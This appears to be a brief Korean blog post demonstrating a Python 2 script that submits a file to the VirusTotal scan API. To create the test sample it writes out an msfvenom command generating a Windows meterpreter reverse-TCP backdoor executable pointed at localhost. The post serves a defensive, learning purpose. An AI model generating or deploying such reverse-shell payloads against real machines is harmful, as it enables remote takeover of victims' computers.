#12. Virustotal_API를 이용한 코딩
by Qerogram서론
오늘은 한번 Virustotal API를 이용한 간단한 프로그램을 작성해보았다.
진행과정
1. 제출할 백도어 생성
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > Backdoor.exe | cs |
2. 소스코드
1 2 3 4 5 6 | import requests params = {'apikey': 'myAPI'} files = {'file': ('Backdoor.exe', open('Backdoor.exe', 'rb'))} response = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', files=files, params=params) json_response = response.json() print json_response | cs |
3. 결과확인
# REF
https://www.virustotal.com/ko/documentation/public-api/
블로그의 정보
Data+
Qerogram